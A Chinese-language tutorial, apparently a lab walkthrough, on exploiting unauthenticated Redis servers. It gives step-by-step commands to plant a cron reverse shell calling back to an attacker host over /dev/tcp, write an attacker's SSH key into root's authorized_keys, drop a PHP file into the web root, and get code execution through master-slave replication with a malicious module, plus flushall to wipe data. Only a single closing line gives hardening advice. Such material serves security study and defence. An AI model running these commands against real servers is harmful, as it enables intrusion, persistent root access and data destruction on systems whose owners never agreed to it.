Redis 未授权访问引发的安全问题
Redis
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。
默认端口:6379
安全问题
Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。
攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。
如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
服务器开着web服务,在redis有web目录写权限时,可以写入webshell。
在redis以root权限运行时,可以执行计划任务反弹shell。
搭建Redis
centOS安装redis:
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make

修改配置文件,使可以远程访问:
vim redis.conf
bind 127.0.0.1前面加上#号 protected-mode设为no


启动redis-server
./src/redis-server redis.conf
默认的配置是使用6379端口,没有密码;这时候会导致未授权访问然后使用redis权限写文件。

基本命令
连接redis:
redis-cli -h 192.168.99.125
查看redis版本信息、一些具体信息、服务器版本信息等等:
192.168.99.125:6379>info

将变量x的值设为 test :
192.168.99.125:6379>set x "test"

删除整个redis数据库
192.168.99.125:6379>flushall
查看所有键:
192.168.99.125:6379>KEYS *

获取默认的redis目录、和rdb文件名:
192.168.99.125:6379>CONFIG GET dir
192.168.99.125:6379>CONFIG GET dbfilename

利用计划任务执行命令反弹shell
简介:在redis以root权限运行时,可以写 crontab来执行命令反弹shell
监听端口
nc -lvnp 4444

连接:
redis-cli -h 192.168.99.125

执行:
set x "\n* * * * * bash -i >& /dev/tcp/192.168.99.121/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

成功反弹

写ssh-keygen公钥然后使用私钥登录
「利用原理:」
利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接使用对应的私钥登录目标服务器。
「利用条件:」
Redis服务使用ROOT账号启动 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
首先在攻击机的/root/.ssh 目录里生成ssh公钥key:
ssh-keygen -t rsa

接着将公钥导入 key.txt 文件
(echo -e " "; cat id_rsa.pub; echo -e " ") > key.txt

链接目标服务器上的Redis服务,将保存的公钥 key.txt 写入Redis(使用redis-cli -h ip命令连接靶机,将文件写入)
cat key.txt | redis-cli -h 192.168.99.125 -x set crackit

连接redis
redis-cli -h 192.168.99.125
执行:
config get dir #得到Redis备份的路径
config set dir /root/.ssh/ #更改Redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)
config set dbfilename "authorized_keys" #设置上传公钥的备份文件名字为authorized_keys
save #保存
成功写入:

ssh连接:
ssh root@192.168.99.125

可以看到是不需要输入密码的,成功使用公钥登录目标服务器!
往web物理路径写webshell
必要条件:
•知道web目录的绝对路径•拥有web目录的写入权限
思路:获取所有键值对,然后创建一个不存在的键值对,再通过修改配置文件,将该键值对写入配置文件中:
当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell
连接
redis-cli -h 192.168.99.125
执行以下命令
config set dir /var/www/html/
config set dbfilename phpinfo.php
set x "<?php phpinfo(); ?>"
save

即可将shell写入web目录(web目录根据实际情况)

连接:http://192.168.99.125/phpinfo.php

成功写入webshell!
从主复制RCE
必要条件:
•redis版本为 4.x或5.x(亲测6.x无此问题)
从服务器会向主服务器发出SYNC指令,当主服务器接到此命令后,就会调用BGSAVE指令来创建一个子进程专门进行数据持久化工作,也就是将主服务器的数据写入RDB文件中。在数据持久化期间,主服务器将执行的写指令都缓存在内存中。 在BGSAVE指令执行完成后,主服务器会将持久化好的RDB文件发送给从服务器,从服务器接到此文件后会将其存储到磁盘上,然后再将其读取到内存中。这个动作完成后,主服务器会将这段时间缓存的写指令再以redis协议的格式发送给从服务器。
自redis 4.x版本后,它可以自由添加模块扩展,只需启动时添加loadmodule选项,或者在启动后,可以rce的版本可从下面链接编译:
127.0.0.1:6379> MODULE LOAD /home/b0ring/WorkingSpace/tools/websecurity/vulhub/redis/redis-rce/exp.so
OK
127.0.0.1:6379> MODULE list
1) 1) "name"
2) "system"
3) "ver"
4) (integer) 1
127.0.0.1:6379> system.exec whoami
"b0ring\n"
利用上述两个特点,可以使用主从同步和修改配置文件存放位置,主服务器可以向从服务器写一个恶意的so文件,添加到redis中从而rce(6.x版本无法利用是因为6.x版本redis在加载模块时会校验模块是否具有执行权限,否则不予加载),利用脚本可从此处获取。
python redis-rce.py -L 127.0.0.1 -r 127.0.0.1 -f exp.so
总结
•本质上,其实这些未授权访问都是先修改redis目录和缓存文件位置,然后再保存缓存,从而通过向特定目录进行任意写操作来获取rce权限•一切写操作都是覆盖的,所以实战利用过程中为了不对目标机器进行破坏,一定要先改位置再写入,然后再改回去•除了主从复制,其他写操作都是有乱码的,对于Ubuntu环境,其不允许计划任务文件存在乱码,即无法再Ubuntu中使用计划任务rce
安全配置
限制登录ip 添加密码 修改默认端口